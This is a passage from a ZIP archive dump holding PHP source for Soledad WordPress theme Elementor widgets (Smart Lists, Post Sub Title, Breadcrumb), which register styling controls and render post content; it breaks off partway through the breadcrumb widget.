						echo '<span class="pctmp-term-item">' . $term->name . '</span>';
					} else {
						$prefix_class = 'category' == $term->taxonomy ? 'cat' : esc_attr( $term->taxonomy );
						echo '<a href="' . get_term_link( $term ) . '" class="pctmp-term-item penci-' . $prefix_class . '-name penci-' . $prefix_class . '-' . $term->slug . ' penci-' . $prefix_class . '-' . $term->term_id . '">' . $term->name . '</a>';
					}

					if ( $divider && $divider_icon && $i++ < ( $total_items - 1 ) ) {
						echo '<span class="divider-icon">';
						\Elementor\Icons_Manager::render_icon( $divider_icon );
						echo '</span>';
					}
				}

				?>
			</div>
			<?php
		}
	}
}
PK     N\,ecJV  JV  3  inc/template-builder/single-elements/smartlists.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleSmartLists extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Smart Lists', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-content';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'content', 'smart', 'list' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsml-el elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-smartlists';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'smartlists_heading', [
			'label' => esc_html__( 'Smart Lists', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'smartlists_style', [
			'label'       => esc_html__( 'Smart Lists Style', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => '1',
			'label_block' => true,
			'options'     => [
				'1' => 'Style 1',
				'2' => 'Style 2',
				'3' => 'Style 3',
				'4' => 'Style 4',
				'5' => 'Style 5',
				'6' => 'Style 6',
			]
		] );

		$this->add_control( 'smartlists_h', [
			'label'       => esc_html__( 'Smart Lists Content Break', 'soledad' ),
			'description' => esc_html__( 'Select the heading of the content listing', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => 'h3',
			'label_block' => true,
			'options'     => [
				'h1' => 'H1 Heading',
				'h2' => 'H2 Heading',
				'h3' => 'H3 Heading',
				'h4' => 'H4 Heading',
				'h5' => 'H5 Heading',
				'h6' => 'H6 Heading',
			]
		] );

		$this->add_control( 'smartlists_heading_tag', [
			'label'       => esc_html__( 'Smart Lists Items Heading Tag', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => '',
			'label_block' => true,
			'options'     => [
				''   => 'Inherit from the Smart Lists Content Break',
				'h1' => 'H1 Heading',
				'h2' => 'H2 Heading',
				'h3' => 'H3 Heading',
				'h4' => 'H4 Heading',
				'h5' => 'H5 Heading',
				'h6' => 'H6 Heading',
			]
		] );

		$this->add_control( 'smartlists_img_size', [
			'label'   => esc_html__( 'Image Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'penci-full-thumb',
			'options' => $this->get_list_image_sizes(),
		] );

		$this->add_control( 'smartlists_img_msize', [
			'label'   => esc_html__( 'Mobile Image Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'penci-masonry-thumb',
			'options' => $this->get_list_image_sizes(),
		] );

		$this->add_control( 'smartlists_order', [
			'label'     => esc_html__( 'Number Order', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => 'asc',
			'condition' => array( 'smartlists_style!' => [ '5', '6' ] ),
			'options'   => [
				'asc'  => 'Ascending',
				'desc' => 'Descending',
			]
		] );

		$this->add_responsive_control( 'smartlists_spacing', [
			'label'     => esc_html__( 'Items Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'default'   => array( 'size' => '' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsml-item:not(:last-child)' => 'margin-bottom: {{SIZE}}{{UNIT}};padding: 0 0 {{SIZE}}{{UNIT}};'
			)
		] );

		$this->add_responsive_control( 'smartlists2_img_width', [
			'label'     => esc_html__( 'Image Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'default'   => array( 'size' => '' ),
			'condition' => array( 'smartlists_style' => '2' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsml_style_2 .pcsml-figure'     => 'width: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .pcsml_style_2 .pcsml-figure img' => 'width: 100%;height:auto;',
			)
		] );

		$this->add_control( 'smartlists2_jalign', [
			'label'     => esc_html__( 'Item Content Alignment', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => 'start',
			'options'   => [
				'start'  => 'Top',
				'center' => 'Center',
				'end'    => 'Bottom',
			],
			'condition' => array( 'smartlists_style' => '2' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsml_style_2 .pcsml-info' => 'align-self: {{VALUE}};',
			)
		] );

		$this->add_control( 'maincontent_heading', [
			'label' => esc_html__( 'Entry Content', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'block_style', [
			'label'       => esc_html__( 'Blockquote Style', 'soledad' ),
			'description' => esc_html__( 'blockquote styles just applies when you use Classic Block or Classic Editor', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => 'style-1',
			'options'     => [
				'style-1' => 'Style 1',
				'style-2' => 'Style 2'
			]
		] );

		$this->add_control( 'heading_style', [
			'label'       => esc_html__( 'Heading Style', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => 'style-1',
			'options'     => [
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'smcolor_style', [
			'label' => esc_html__( 'Smart Lists Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'sm_heading_title_01', [
			'label' => 'Heading Title',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'sm_heading_typo',
			'label'    => __( 'Heading Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsml-title-wrapper .pcsml-item-title',
		) );

		$this->add_control( 'sm_heading_color', [
			'label'     => 'Heading Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-title-wrapper .pcsml-item-title' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'sm_heading_title_02', [
			'label' => 'Item Number',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'sm_inumber_typo',
			'label'    => __( 'Item Number Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsml-item-number span',
		) );

		$this->add_control( 'sm_inumber_color', [
			'label'     => 'Item Number Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-item-number span' => 'color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'sm_inumber_bgrd', [
			'label'     => 'Item Number Border Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .pcsml-item-number span' => 'border-radius:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'sm_inumber_bdw', [
			'label'     => 'Item Number Border Width',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .pcsml-item-number span' => 'border:{{SIZE}}px solid var(--pcborder-cl)' ],
		] );

		$this->add_control( 'sm_inumber_bdcolor', [
			'label'     => 'Item Number Border Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-item-number span' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'sm_inumber_bgcolor', [
			'label'     => 'Item Number Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-item-number span' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'sm_heading_title_03', [
			'label' => 'Description Text',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'sm_desc_typo',
			'label'    => __( 'Description Text Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsml-desc, {{WRAPPER}} .pcsml-desc p',
		) );

		$this->add_control( 'sm_desc_color', [
			'label'     => 'Description Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-desc' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'sm_heading_title_04', [
			'label' => 'Navigation',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_responsive_control( 'sn_nav_spacing', [
			'label'     => 'Navigation Spacing',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => [
				'px' => [
					'min' => 0,
					'max' => 1200,
				],
			],
			'condition' => array( 'smartlists_style' => '4' ),
			'selectors' => [ '{{WRAPPER}} .pcsml-pagination' => 'margin:{{SIZE}}px 0' ],
		] );

		$this->add_control( 'sn_nav_bdcolor', [
			'label'     => 'Navigation Border Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => array( 'smartlists_style' => '6' ),
			'selectors' => [ '{{WRAPPER}} .pcsml_style_6' => '--pcborder-cl:{{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'      => 'sn_nav_dropdown_typo',
			'label'     => __( 'Navigation Dropdown Typo', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsml-dropdown-wrap .pcsml-dropdown',
			'condition' => array( 'smartlists_style' => '6' ),
		) );

		$this->add_control( 'sn_nav_dropdown_color', [
			'label'     => 'Navigation Dropdown Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => array( 'smartlists_style' => '6' ),
			'selectors' => [ '{{WRAPPER}} .pcsml-dropdown-wrap .pcsml-dropdown' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_nav_dropdowncolor', [
			'label'     => 'Navigation Dropdown Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => array( 'smartlists_style' => '6' ),
			'selectors' => [ '{{WRAPPER}} .pcsml-dropdown-wrap .pcsml-dropdown' => 'background:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_nav_bgcolor', [
			'label'     => 'Navigation Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'condition' => array( 'smartlists_style' => '6' ),
			'selectors' => [ '{{WRAPPER}} .pcsml-dropdown-wrap' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'sn_nav_bgradius', [
			'label'     => 'Navigation Border Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'condition' => array( 'smartlists_style' => '6' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .pcsml-dropdown-wrap' => 'border-radius:{{SIZE}}px' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'sn_btn_typo',
			'label'    => __( 'Button Text Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsml-button',
		) );

		$this->add_control( 'sn_btn_color', [
			'label'     => 'Button Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_btn_bgcolor', [
			'label'     => 'Button Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_btn_hcolor', [
			'label'     => 'Button Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_btn_hbgcolor', [
			'label'     => 'Button Hover Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button:hover' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'sn_btn_bgrd', [
			'label'     => 'Button Border Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .pcsml-button' => 'border-radius:{{SIZE}}px' ],
		] );

		$this->add_responsive_control( 'sn_btn_bdw', [
			'label'     => 'Button Border Width',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .pcsml-button' => 'border:{{SIZE}}px solid var(--pcborder-cl)' ],
		] );

		$this->add_control( 'sn_btn_bdcolor', [
			'label'     => 'Button Border Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'sn_btn_bdhcolor', [
			'label'     => 'Button Hover Border Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcsml-button:hover' => 'border-color:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Standard Content Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for General Content', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-entry',
		) );

		$this->add_control( 'main-text-color', [
			'label'     => 'Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'main-link-color', [
			'label'     => 'Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'main-link-hcolor', [
			'label'     => 'Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry a:hover' => 'color:{{VALUE}}' ],
		] );

		for ( $i = 1; $i <= 6; $i ++ ) {
			$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'heading_typo_h' . $i,
				'label'    => sprintf( __( 'Typography for H%s', 'soledad' ), $i ),
				'selector' => '{{WRAPPER}} .post-entry h' . $i,
			) );
			$this->add_control( "content_h{$i}_color", [
				'label'     => "H{$i} Color",
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ "{{WRAPPER}} .post-entry h{$i}" => 'color:{{VALUE}}' ],
			] );
		}


		$this->end_controls_section();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings            = $this->get_settings();
		$block_style         = $settings['block_style'];
		$heading_style       = $settings['heading_style'];
		$placeholder1        = $this->random_image_url();
		$placeholder2        = $this->random_image_url();
		$placeholder3        = $this->random_image_url();
		$placeholder_content = '
                    <h3>The New Ways</h3>
                        <p><img class="alignnone wp-image-' . $placeholder1['id'] . ' size-full" src="' . $placeholder1['url'] . '" alt="" /></p>
                        <p>Focused on quality and innovation, our designers work closely with their clients to craft unique and highly unique fashion pieces.</p>
                    <h3>Chat with The Content</h3>
                         <p><img class="alignnone wp-image-' . $placeholder2['id'] . ' size-full" src="' . $placeholder2['url'] . '" alt="" /></p>
                        <p>Our extensive catalogue consists of the very latest fashion clothing and accessories from the most fashionable designers in the world. Focusing on quality and innovation, our designers work closely with their clients to craft unique and highly unique fashion pieces.</p>
                    <h3>#1 WordPress Theme</h3>
                    <p><img class="alignnone wp-image-' . $placeholder3['id'] . ' size-full" src="' . $placeholder3['url'] . '" alt="" /></p>
                    <p>We offer an excellent range of dresswear, accessories and footwear, in a wide variety of styles. </p>
                    [penci_end_smart_list]
                
                    <p>Sample Content after smart list end. Our goal is to provide you with an excellent, flexible and adaptable shopping experience. We believe that your shopping experience is one of the most vital aspects for your overall success and we are passionate about taking care of our clients and serving them with quality, dependable products. We have our website, Facebook page, Instagram account and various social media channels where we are continually improving our products and services. We also have an active online store of our own. </p>
                ';
		?>
        <div class="post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo 'heading-' . $heading_style; ?>">
            <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

				<?php do_action( 'penci_action_before_the_content' ); ?>

				<?php
				$placeholder_content = str_replace( ']]>', ']]&gt;', $placeholder_content );
				$smart_list_content  = penci_smartlists( [
					'style'               => $settings['smartlists_style'],
					'content'             => $placeholder_content,
					'order'               => $settings['smartlists_order'],
					'h'                   => $settings['smartlists_h'],
					'extract_first_image' => true,
					'sm_title_tag'        => $settings['smartlists_heading_tag'] ? $settings['smartlists_heading_tag'] : $settings['smartlists_h'],
					'sm_ad'               => '',
					'first_image_size'    => $settings['smartlists_img_size'],
					'first_image_msize'   => $settings['smartlists_img_msize'],
					'disablelazy'         => false,
				] );
				echo $smart_list_content;
				?>

				<?php do_action( 'penci_action_after_the_content' ); ?>

                <div class="penci-single-link-pages">
					<?php wp_link_pages(); ?>
                </div>
            </div>
        </div>
		<?php
	}

	public function random_image_url() {
		$id          = 0;
		$url         = PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=1920&h=800';
		$attachments = get_posts( [ 'post_type' => 'attachment', 'posts_per_page' => 1, 'orderby' => 'rand' ] );
		if ( ! empty( $attachments ) && isset( $attachments[0] ) ) {
			$url = wp_get_attachment_url( $attachments[0]->ID );
			$id  = $attachments[0]->ID;
		}

		return [ 'url' => $url, 'id' => $id ];
	}

	protected function builder_content() {
		$settings      = $this->get_settings();
		$block_style   = $settings['block_style'];
		$heading_style = $settings['heading_style'];
		?>
        <div class="post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo 'heading-' . $heading_style; ?>">
            <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

				<?php do_action( 'penci_action_before_the_content' ); ?>

				<?php
				$content = strip_shortcodes( get_the_content() );
				$content = apply_filters( 'the_content', $content );
				$content = str_replace( ']]>', ']]&gt;', $content );
				remove_filter( 'the_content', 'penci_insert_post_content_ads' );
				$smart_list_content = penci_smartlists( [
					'style'               => $settings['smartlists_style'],
					'content'             => $content,
					'order'               => $settings['smartlists_order'],
					'h'                   => $settings['smartlists_h'],
					'extract_first_image' => true,
					'sm_title_tag'        => $settings['smartlists_heading_tag'] ? $settings['smartlists_heading_tag'] : $settings['smartlists_h'],
					'first_image_size'    => $settings['smartlists_img_size'],
					'first_image_msize'   => $settings['smartlists_img_msize'],
					'disablelazy'         => false,
				] );
				echo $smart_list_content;
				?>

				<?php do_action( 'penci_action_after_the_content' ); ?>

                <div class="penci-single-link-pages">
					<?php wp_link_pages(); ?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     N\Io}    1  inc/template-builder/single-elements/subtitle.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleSubtitle extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Sub Title', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-title';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'subtitle' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-subtt elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-sub-title';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'heading_markup', [
			'label'   => esc_html__( 'Title Markup', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'h2',
			'options' => [
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
				'h5' => 'H5',
				'h6' => 'H6',
			]
		] );

		$this->add_control( 'heading_align', [
			'label'     => __( 'Post Sub Title Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'text-align:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Post Sub Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-psub-title',
		) );

		$this->add_control( 'main-text-color', [
			'label'     => 'Post Sub Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'main-text-gcolor-enable', [
			'label' => 'Enable Gradient Color for Post Sub Title',
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'      => 'main-text-gcolor',
			'label'     => __( 'Gradient Color', 'soledad' ),
			'types'     => array( 'gradient' ),
			'selector'  => '{{WRAPPER}} .penci-psub-title span',
			'condition' => [ 'main-text-gcolor-enable' => 'yes' ]
		) );

		$this->add_control( 'main-text-inlinecolor-e', [
			'label'     => 'Use Inline Background Color?',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [
				'{{WRAPPER}} .penci-psub-title' => 'background-color:var(--pcaccent-cl);display:inline;box-decoration-break: clone;padding: 3px 8px;',
			],
		] );

		$this->add_control( 'main-text-inlinecolor', [
			'label'     => 'Inline Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'background-color:{{VALUE}}' ],
			'condition' => [ 'main-text-inlinecolor-e' => 'yes' ]
		] );

		$this->add_control( 'main-text-inline-d', [
			'label'      => 'Inline Background Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px' ],
			'selectors'  => [
				'{{WRAPPER}} .penci-psub-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			],
			'condition'  => [ 'main-text-inlinecolor-e' => 'yes' ]
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings    = $this->get_settings();
		$heading_tag = $settings['heading_markup'];
		$class       = $settings['main-text-gcolor-enable'] ? ' gradient-enable' : '';
		echo '<' . $heading_tag . ' class="penci-psub-title' . $class . '"><span>Sub Title Heading of The Post</span></' . $heading_tag . '>';
	}

	protected function builder_content() {
		$settings    = $this->get_settings();
		$heading_tag = $settings['heading_markup'];
		$class       = $settings['main-text-gcolor-enable'] ? ' gradient-enable' : '';
		$sub_title   = get_post_meta( get_the_ID(), 'penci_post_sub_title', true );
		if ( $sub_title ) {
			echo '<' . $heading_tag . ' class="penci-psub-title' . $class . '"><span>' . $sub_title . '</span></' . $heading_tag . '>';
		}
	}
}
PK     N\cA    3  inc/template-builder/single-elements/breadcrumb.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleBreadcrumb extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Breadcrumb', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-navigation-horizontal';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'breadcrumb' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-brcrb elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-breadcrumb';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'breadcrumb_align', [
			'label'     => __( 'Breadcrumb Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb' => 'text-align:{{VALUE}}' ],
		] );

		$this->add_control( 'enable_pri_cat_yoast_seo', [
			'label' => 'Show Only Primary Category from "Yoast SEO" or "Rank Math" plugin for Breadcrumb',
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'breadcrumb-typo',
			'label'    => __( 'Typography for BreadCrumb', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-breadcrumb,{{WRAPPER}} .penci-breadcrumb *',
		) );

		$this->add_control( 'breadcrumb-t-color', [
			'label'     => 'BreadCrumb Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb,{{WRAPPER}} .penci-breadcrumb span,{{WRAPPER}} .penci-breadcrumb a' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'breadcrumb-l-hcolor', [
			'label'     => 'BreadCrumb Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb a:hover' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'breadcrumb-spacing', [
			'label'     => 'BreadCrumb Spacing',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => [ '{{WRAPPER}} .container.penci-breadcrumb i,{{WRAPPER}} .container.penci-breadcrumb span.separator' => 'margin-left:{{SIZE}}px;margin-right:calc({{SIZE}}px - 4px)' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		$yoast_breadcrumb = $rm_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb single-breadcrumb">', '</div>', false );
		}

		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container penci-breadcrumb single-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}

		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
